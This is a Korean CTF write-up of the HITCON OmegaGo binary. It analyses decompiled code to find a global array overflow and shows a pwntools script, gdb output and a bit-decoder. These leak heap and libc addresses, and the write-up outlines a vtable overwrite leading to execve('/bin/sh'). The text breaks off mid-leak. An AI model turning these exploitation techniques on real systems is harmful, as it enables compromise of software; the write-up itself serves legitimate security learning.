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Description

내용

Want to fight with AlphaGo? Beat OmegaGo first.
nc 52.198.232.90 31337

Note: The game rule has been simplified to make life easier.

omega_go
libc.so.6

Related file

File list

Source Code

Source code

Write Up

File information

File information

autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ checksec.sh --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$

Binary analysis

다음과 같은 기능을 제공합니다.
- 행,열을 번호를 입력하여 원하는 영역에 마크를 표시할 수 있습니다.
  - Ex) A19
- "surrender"를 이용하여 게임을 포기하고 다시 시작할 수 있습니다.
- "regret"을 이용하여 플레이를 되돌릴 수 있습니다.

Play game

autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

A19
   ABCDEFGHIJKLMNOPQRS
19 X..................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ..................O
Time remain: O: 180.00, X: 173.38

regret
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00
surrender
This AI is too strong, ah?
Play history? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
piece O play at J10
Time remain: O: 180.00, X: 180.00

Play again? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

Struct

해당 바이너리를 분석하기 위해 다음과 같은 구조체들이 필요합니다.
- 해당 바이너리는 C++로 개발되어 있으며 vtable을 사용하고 있습니다.
아래 구조체는 AI Class의 play함수를 표현하는 구조체 입니다.

struct Method

struct __attribute__((aligned(8))) Method
{
  void (__fastcall **Play)(Method *a, GameInfo *state, signed int player_number, uint32_t *row, uint32_t *col);
  _QWORD empty;
};

아래 구조체는 OmegaGo의 게임 정보를 저장하는 구조체 입니다.

struct GameInfo

struct GameInfo
{
  _QWORD board[12];
  _DWORD rowNumber;
  _DWORD colNumber;
  _QWORD player;
  double playTimeForAI;
  double playTimeForHuman;
};

Main()

해당 함수는 while() 함수를 이용하여 MainFunction()함수를 계속 호출합니다.

main()

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@3
  __int64 v4; // rbx@3
  __int64 v5; // [rsp+8h] [rbp-18h]@1

  v5 = *MK_FP(__FS__, 40LL);
  alarm(0xB4u);
  setvbuf(stdout, 0LL, 2, 0LL);
  while (MainFunction());
  result = 0LL;
  v4 = *MK_FP(__FS__, 40LL) ^ v5;
  return result;
}

MainFunction(0x401738)

해당 함수는 다음과 같은 기능을 합니다.
- setDefGameinfo() 함수를 통해 게임 진행시 필요한 변수의 초기화를 선언합니다.
- "operator new(8uLL)" 코드를 이용하여 AI, HUMAN 변수에 Heap 영역(8byte)을 할당합니다.
  - setAIFunction(), setHUMANFunction() 함수를 이용해 할당 받은 영역에 호출할 함수의 주소를 저장합니다.
  - 각 구조체의 Play 포인터 함수에 저장되는 주소는 다음과 같습니다.
    - AI→Play(0x405040)→0x40290A
    - HUMAN→Play(0x405020)→0x402C12
- while()을 통해 게임을 플레이하기 위한 기능을 실행합니다.
  - gettimeofday() 함수를 이용하여 플레이어의 게임 플레이 시간을 계산합니다.
  - rowNumber, colNumber 의 값이 -1과 같다면 게임을 종료합니다.
  - rowNumber, colNumber 의 값이 -2일 경우에는 게임 턴을 한차례 돌리는 regret()함수를 호출합니다.
  - 그외의 rowNumber, colNumber 값이 입력 되면 플레이어의 플레이시간을 저장합니다.
    - 총 플레이시간이 0.0보다 작으면 게임을 종료합니다.
    - 총 플레이시간이 0.0보다 크면 SetMarkForBoard()함수를 이용하여 게임 보드 rowNumber,colNumber 위치에 표시합니다.

MainFunction()

__int64 OmegaGo()
{
  Method *AI; // rbx
  Method *HUMAN; // rbx
  unsigned int rowNumber; // [rsp+Ch] [rbp-64h]
  unsigned int colNumber; // [rsp+10h] [rbp-60h]
  int playerNum; // [rsp+14h] [rbp-5Ch]
  double playTime; // [rsp+18h] [rbp-58h]
  struct timeval startTime; // [rsp+20h] [rbp-50h]
  struct timeval endTime; // [rsp+30h] [rbp-40h]
  Method *player[2]; // [rsp+40h] [rbp-30h]
  unsigned __int64 v10; // [rsp+58h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  setDefGameinfo();
  playerNum = 1;
  AI = (Method *)operator new(8uLL);
  AI->Play = 0LL;
  setAIFunction(AI);
  player[0] = AI;
  HUMAN = (Method *)operator new(8uLL);
  HUMAN->Play = 0LL;
  setHUMANFunction(HUMAN);
  player[1] = HUMAN;
  while ( !((unsigned __int8)sub_401202(playerNum, &gPlayerGameInfo) ^ 1) )
  {
    gettimeofday(&startTime, 0LL);
    (*player[playerNum - 1]->Play)(player[playerNum - 1], &gPlayerGameInfo, playerNum, &rowNumber, &colNumber);
    gettimeofday(&endTime, 0LL);
    playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0
             + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec));
    if ( rowNumber == -1 || colNumber == -1 )
      break;
    if ( rowNumber != -2 && colNumber != -2 )
    {
      *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] = *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL]
                                                              - playTime;
      if ( *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] < 0.0 )
        print("Time's up");
      SetMarkForBoard(&gPlayerGameInfo, rowNumber, colNumber, playerNum, 0);
      playerNum ^= 3u;
    }
    else if ( (unsigned __int8)regret() ^ 1 )
    {
      print("No you cant't");
    }
  }
  CheckResults();
  PlayHistory();
  return PlayAgain();
}

UserInput(HUMAN→Play(0x405020)→0x402C12)

해당 함수는 다음과 같은 기능을 합니다.
- callPrintBoard() 함수에 의해 Borad가 출력됩니다.
- scanf() 함수를 이용해 사용자로 부터 좌표 값 또는 명령어를 입력 받습니다.
- 입력 받은 명령어에 따라 다음과 같이 값을 설정합니다.
  - surrender : col = -1, row = -1
  - regret : col = -2, row = -2
- 명령어가 아닐 경우 좌표 값이 저장됩니다.

unsigned __int64 __fastcall UserInput(__int64 a1, GameInfo *gameInfo, __int64 playerNum, signed int *row, signed int *col)
{
  bool areaOverflow; // al
  char chCol; // [rsp+37h] [rbp-9h]
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  callPrintBoard(gameInfo);
  memset(cmd, 0, 0xCuLL);
  if ( scanf("%10s", cmd) != 1 )
    print("Er?");
  if ( !strcmp("surrender", cmd) )
  {
    *col = -1;
    *row = *col;
  }
  else if ( !strcmp("regret", cmd) )
  {
    *col = -2;
    *row = *col;
  }
  else
  {
    if ( sscanf(cmd, "%c%d", &chCol, row) != 2 )
      print("Input like 'A19'");
    *col = chCol - 65;
    *row = 19 - *row;
    areaOverflow = (unsigned __int8)checkBoardArea(*row) ^ 1 || (unsigned __int8)checkBoardArea(*col) ^ 1;
    if ( areaOverflow )
      print("No overflow plz.");
  }
  return __readfsqword(0x28u) ^ v10;
}

regret()

해당 함수는 다음과 같은 기능을 합니다.

- historyCnt 변수의 값이 0 일 경우 해당 함수는 종료됩니다.

- historyCnt 변수의 값이 0 아닐 경우 다음과 같은 코드를 실행합니다.
  - DeletePlayHistory() 함수를 이용해 gHistory[] 에 맨 마지막에 플레이한 GameInfo를 삭제 합니다.
    - AI, Human의 플레이 기록을 삭제합니다.

- - AI가 마지막에 플레이한 GameInfo를 추출해 gPlayerGameInfo에 저장합니다.

signed __int64 __cdecl regret()
{
  GameInfo *history; // rax

  if ( historyCnt <= 1 )
    return 0LL;
  DeletePlayHistory();                          // AI play history
  DeletePlayHistory();                          // Human play history
  if ( ::gHistory[historyCnt - 1] )
  {
    history = (GameInfo *)::gHistory[historyCnt - 1];
    gPlayerGameInfo.board[0] = history->board[0];
    gPlayerGameInfo.board[1] = history->board[1];
    gPlayerGameInfo.board[2] = history->board[2];
    gPlayerGameInfo.board[3] = history->board[3];
    gPlayerGameInfo.board[4] = history->board[4];
    gPlayerGameInfo.board[5] = history->board[5];
    gPlayerGameInfo.board[6] = history->board[6];
    gPlayerGameInfo.board[7] = history->board[7];
    gPlayerGameInfo.board[8] = history->board[8];
    gPlayerGameInfo.board[9] = history->board[9];
    gPlayerGameInfo.board[10] = history->board[10];
    gPlayerGameInfo.board[11] = history->board[11];
    *(_QWORD *)&gPlayerGameInfo.rowNumber = *(_QWORD *)&history->rowNumber;
    gPlayerGameInfo.player = history->player;
    gPlayerGameInfo.playTimeFor[0] = history->playTimeFor[0];
    gPlayerGameInfo.playTimeFor[1] = history->playTimeFor[1];
  }
  return 1LL;
}

SetMarkForBoard

해당 함수는 다음과 같은 기능을 합니다.
- player 변수의 값을 이용해 플레이어의 마크를 결정합니다.
- saveMarkofBoard() 함수와 마크를 저장할 좌표 값(row, col)을 이용해gameinfo.Board[] 영역에 값을 저장합니다.
- 각종 함수를 이용해 플레이어가 마크를 저장하길 원하는 위치 값이 타당한지 확인합니다.
  - CheckBoardArea(), GetMarkForBoard(), checkLocation(), ...
- 입력한 위치 값이 정상적이지 않으면 메시지를 출력하고 프로그램을 종료합니다.
- 입력한 위치 값가 정상적이라면 해당 gameInfo를 gHistory[]에 저장합니다.
  - "operator new(0x80)" 코드에 의해 Heap 영역을 할당합니다.
  - 할당된 Heap 영역의 주소 값을 gHistory[]변수에 저장합니다.
취약성은 여기서 발생합니다.
- GameInfo 구조체를 사용하는 gHistory[]의 크기는 364 입니다.
- gHistory[] 배열에 저장된 번호가 364를 넘는지에 대한 확인이 없습니다.
- 즉, 유저가 입력한 값이 364회가 넘으면 gPlayerGameInfo 영역에 Overflow됩니다.

signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt)
{
  signed __int64 result; // rax
  signed int mark; // eax MAPDST
  bool v7; // al
  GameInfo *historyCount; // rax
  GameInfo *saveGameInfo; // ST30_8
  signed int i; // [rsp+24h] [rbp-2Ch]
  unsigned int row; // [rsp+28h] [rbp-28h]
  unsigned int col; // [rsp+2Ch] [rbp-24h]

  if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' )
  {
    if ( player == 1 )
      mark = 'O';
    else
      mark = 'X';
    saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark);
    gameinfo->rowNumber = inputRow;
    gameinfo->colNumber = inputCol;
    for ( i = 0; i <= 3; ++i )
    {
      row = dword_404FE0[i] + inputRow;
      col = dword_404FF0[i] + inputCol;
      v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1;
      if ( !v7
        && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark
        && (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 )
      {
        sub_4024C2((__int64)gameinfo, row, col);
      }
    }
    if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 )
    {
      if ( !printOpt )
        print("Why you do this :((");
      result = 0LL;
    }
    else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) )
    {
      if ( !printOpt )
        print("Wanna Ko Fight?");
      result = 0LL;
    }
    else
    {
      if ( printOpt != 1 )
      {
        LODWORD(gameinfo->player) = mark;
        historyCount = (GameInfo *)operator new(0x80uLL);
        *historyCount = *gameinfo;
        saveGameInfo = historyCount;
        LODWORD(historyCount) = gHistoryCount++;
        gHistory[(signed int)historyCount] = saveGameInfo;
      }
      result = 1LL;
    }
  }
  else
  {
    if ( !printOpt )
      print("You cheater!");
    result = 0LL;
  }
  return result;
}

Debuging

Overflow

다음과 같은 코드를 이용하여 gameInfo 전역 변수의 값을 Overflow할 수 있습니다.

Overflow for gameInfo

from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)


def Fill(colStart, colEnd, row):
	for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
		locate = str(col_list[colNum])
		locate += str(row)
		Play(locate)


Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)


p.interactive()

디버깅 전에 각 전역 변수의 위치를 알아야 합니다.
- gGameInfo : 0x609FC0
- gHistory : 0x609460
- gPlayerGameInfo Address(0x609FC0) - gHistory(0x609460) = 0xb60(2912) / 0x8(address len) = 364
다음은 디버깅을 통해 확인한 내용입니다.
- gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장된 것을 확인 할 수 있습니다.

overflow for gameInfo

lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 3491
Attaching to process 3491

gdb-peda$ x/gx 0x609FC0
0x609fc0:	0x0000000000b94da0
gdb-peda$ x/10gx 0x609FC0
0x609fc0:	0x0000000000b94da0	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000

해당 Overflow를 통해 출력되는 Board의 내용이 변경된 것을 확인 할 수 있습니다.
- 우리는 해당 정보를 이용하여 heap address를 추출 할 수 있습니다.

Board

lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..XXO\x00.OOX\x00X.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 XXXXXXXXXXX........
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
 9 OOOOOOOOOOOOOOOOOOO
 8 ........OOOOOOOOOOO
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.84

$

Decode

화면에 출력된 Address를 해석하기 위해서는 Board에 저장되는 Mark의 값이 어떻게 관리 되는지 확인이 필요합니다.
다음과 같이 유저가 좌표 값을 입력하면 메모리 값은 다음과 같이 변경됩니다.
- 유저가 입력한 값은 0x609fc0 영역에 0x2가 저장됩니다.
- 컴퓨터가 입력한 값은 0x60a01A 영역에 0x1가 저장됩니다.

좌표 입력

lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 

...Print board...
Time remain: O: 180.00, X: 180.00

A19

...Print board...
Time remain: O: 180.00, X: 171.04

^C
Program received signal SIGINT, Interrupt.

gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000002	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000010000
gdb-peda$

다음과 같이 추가적인 메모리의 변화를 확인합니다.
- 사용자 입력을 통해 19행을 모두 채우면 메모리에 다음과 같이 저장됩니다.
  - 유저가 입력한 값은 0x2aaaaaaaaa 입니다.
  - 컴퓨터가 입력한 값은 0x01555555555 입니다.

19열 채우기

   ABCDEFGHIJKLMNOPQRS
19 XXXXXXXXXXXXXXXXXXX
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 OOOOOOOOOOOOOOOOOOO
Time remain: O: 180.00, X: 141.02

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$  x/12gx 0x609FC0
0x609fc0:	0x0000002aaaaaaaaa	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x5555500000000000	0x0000000000015555
gdb-peda$

Board에 저장되는 값을 다음과 같은 방법으로 관리됩니다.
- Board영역에 저장되는 값을 bit를 이용해 저장될 값을 결정합니다.
- 다음과 같은 bit값을 이용해 player를 구분합니다.
  - AI : 10 bit
  - Humman : 01bit

Mark 식별

Mark /

Player

X / O

X. / O.

XX / OO

bit

hex

bit

hex

bit

hex

AI

10

0x2

1000

0x8

1010

0xA

Humman

01

0x1

0100

0x4

0101

0x5

이러한 정보를 이용하여 다음과 같은 복호화 도구를 작성할 수 있습니다.

Decode()

def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result

공격방식 설정

Payload의 순서는 다음과 같습니다.

Payload 순서

Leak Libc Address
Overwrite the Computer Class
Overwrite the vtable

이를 조금더 자세하게 설명하면 다음과 같습니다.

상세 설명

LeakLibcAddress
1. Overwrites gameInfo data
2. Heap address change
3. Deletes the allocated heap memory.
Overwrite the Computer Class
1. Memory reallocation
2. Fake chunk
3. Heap address change
4. Deletes the allocated heap memory.
Overwrite the vtable
1. execve("/bin/sh")

payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.

확인해야 할 정보 목록

Leak libc address
Fake chunk
execve("/bin/sh")

공격에 필요한 정보 수집

Leak Libc address

다음과 같은 방법을 이용해 Libc address를 추출할 수 있습니다.
- 앞에서 작성한 스크립트 코드에 의해 gPlayerGameInfo(0x609fc0) 전역 변수에 heap address(0x609fc0)값이 저장되었습니다.
- gPlayerGameInfo 영역에 저장된 값은 사용자의 입력 값으로 변경될 수 있습니다.

lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 4155
Attaching to process 4155
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
gdb-peda$ x/gx 0x609fc0
0x609fc0:	0x00000000011d4e30
gdb-peda$ c
Continuing.

"D19"를 입력 하면 gPlayerGameInfo 영역에 영향을 주게됩니다.

lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 

[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 4155
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS

...Print board...

Time remain: O: 180.00, X: 179.85

$ D19
   ABCDEFGHIJKLMNOPQRS

...Print board...
Time remain: O: 180.00, X: 145.32

$c
Continuing.

사용자 입력 값("D19")으로 인해 "0x11d4e30" → "0x11d4eb0"으로 변경되었습니다.

^C      
Program received signal SIGINT, Interrupt.
0x00007fcd3fc8d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/gx 0x609fc0
0x609fc0:	0x00000000011d4eb0
gdb-peda$ x/gx 0x00000000011d4eb0
0x11d4eb0:	0x0000000000000000
gdb-peda$

다음과 같은 방법으로 Libc address를 메모리에 저장할 수 있습니다.
- "regret" 명령어를 입력합니다.
- DeletePlayHistory()함수에서는 History[] 배열 끝에 저장된 2개의 Heap주소를 할당 해제 하게됩니다.
- 이로 인해 해제된 메모리 영역에 Heap 영역에 Libc address를 저장할 수 있습니다.
다음은 디버깅을 통해 확인한 내용입니다.
- history[] 배열 마지막에 저장된 heap address 2개는 0x0201a180, 0x0201a0c0 입니다.
- 0x0201a0c0이 마지막으로 할당 해제 됩니다.
- 0x0201a0c0에는 GameInfo 구조체의 값을 저장하고 있습니다.
- "regret" 명령어 실행 후에는 0x1ca40c0 영역에 Libc address(0x00007fd2579d47b8)가 저장됩니다.
사실 0x00007fd2579d47b8는 Libc address가 아닙니다.
- 해당 프로세스의 메모리 맵을 보면 "/lib/x86_64-linux-gnu/libc-2.19.so"가 사용하는 메모리 뒷부분입니다.
- 하지만 이 값을 이용하여 Libc address base의 offset을 구할 수 있습니다.
  - 0x7fd2579d47b8 - 0x7fd257616000 = 0x3be7b8

Heap 영역에 Libc address 저장

(gdb) x/12gx 0x609FC0 - 0x10
0x609fb0: 0x000000000201a000 0x000000000201a0c0
0x609fc0: 0x000000000201a180 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000


(gdb) x/18gx 0x000000000201a0c0
0x201a0c0:	0x0000000000000000	0x0000000000000000
0x201a0d0:	0x0000000000000000	0x0000000000000000
0x201a0e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x201a0f0:	0x5550000155555555	0x0000000000000055
0x201a100:	0x0000000000000000	0x0000000000000000
0x201a110:	0x0000000000000000	0x0000000000000000
0x201a120:	0x0000000a00000007	0x0000000000000058
0x201a130:	0x40667fdc209246b8	0x40666f6b9e492bc5
0x201a140:	0x0000000000000000	0x0000000000000031
(gdb) c
Continuing.

regret


^C
Program received signal SIGINT, Interrupt.
0x00007fd2577016b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) x/18gx 0x0000000001ca40c0
0x1ca40c0:	0x00007fd2579d47b8	0x00007fd2579d47b8
0x1ca40d0:	0x0000000000000000	0x0000000000000000
0x1ca40e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x1ca40f0:	0x5550000155555555	0x0000000000000055
0x1ca4100:	0x0000000000000000	0x0000000000000000
0x1ca4110:	0x0000000000000000	0x0000000000000000
0x1ca4120:	0x0000000a00000007	0x0000000000000058
0x1ca4130:	0x40667fe2174c4cdb	0x406670861e92923f
0x1ca4140:	0x0000000000000090	0x0000000000000030
(gdb) info proc map
process 4778
Mapped address spaces:
          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x407000     0x7000        0x0 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x606000           0x607000     0x1000     0x6000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x607000           0x608000     0x1000     0x7000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x608000           0x60b000     0x3000        0x0 
           0x1c93000          0x1cb4000    0x21000        0x0 [heap]
      0x7fd257310000     0x7fd257415000   0x105000        0x0 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257415000     0x7fd257614000   0x1ff000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257614000     0x7fd257615000     0x1000   0x104000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257615000     0x7fd257616000     0x1000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257616000     0x7fd2577d0000   0x1ba000        0x0 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2577d0000     0x7fd2579d0000   0x200000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d0000     0x7fd2579d4000     0x4000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d4000     0x7fd2579d6000     0x2000   0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d6000     0x7fd2579db000     0x5000        0x0 
      0x7fd2579db000     0x7fd2579f1000    0x16000        0x0 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd2579f1000     0x7fd257bf0000   0x1ff000    0x16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf0000     0x7fd257bf1000     0x1000    0x15000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf1000     0x7fd257cd7000    0xe6000        0x0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257cd7000     0x7fd257ed6000   0x1ff000    0xe6000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ed6000     0x7fd257ede000     0x8000    0xe5000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ede000     0x7fd257ee0000     0x2000    0xed000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ee0000     0x7fd257ef5000    0x15000        0x0 
      0x7fd257ef5000     0x7fd257f18000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd2580f8000     0x7fd2580fd000     0x5000        0x0 
      0x7fd258114000     0x7fd258117000     0x3000        0x0 
      0x7fd258117000     0x7fd258118000     0x1000    0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258118000     0x7fd258119000     0x1000    0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258119000     0x7fd25811a000     0x1000        0x0 
      0x7ffe6668e000     0x7ffe666af000    0x21000        0x0 [stack]
      0x7ffe66744000     0x7ffe66746000     0x2000        0x0 [vvar]
      0x7ffe66746000     0x7ffe66748000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
(gdb) p/x 0x00007fd2579d47b8 - 0x7fd257616000
$1 = 0x3be7b8

앞에서 설명한 방법으로는 Heap 영역에 Libc address를 저장했지만 출력하지는 못합니다.
다음은 Heap 영역에 저장된 Libc address를 출력하는 방법입니다.
- "surrender" 명령어를 2번 호출합니다.
- gameInfo 전역변수에 Overwrite된 Heap 주소 값을 변경합니다.(0x******00 → 0x******80)
  - 앞에서 "surrender" 명령어를 호출하는 이유는 gameInfo 전역변수의 첫번째 공간에 0x00으로 끝나는 주소를 저장하기 위해서 입니다.
  - 해당 값이 0x00 이 아니라면 좌표 값을 입력할 수 없습니다.
- 좌표 값을 입력하여 Overwirte된 주소 값을 변경합니다.(D19)
- "regret" 명령어를 실행합니다.
  - regret() 함수는 마지막에 저장된 heap address 2개를 제거합니다.
  - history[] 배열의 끝에 저장된 값은 공격자가 입력한 좌표 값에 의해 변경된 heap 주소 입니다.
  - regret() 함수는 해당 주소 값을 기준으로 추출한 정보를 전역 변수 gameInfo 에 저장합니다.
디버깅을 이용해 확인해보겠습니다.
- "surrender"에 의해 0x609fc0영역에 0x00으로 끝나는 Heap 주소(0xdd5200)가 저장되었습니다.
- 좌표값 "D19"를 입력해 0x00를 0x80으로 변경했습니다.(0xdd5280)
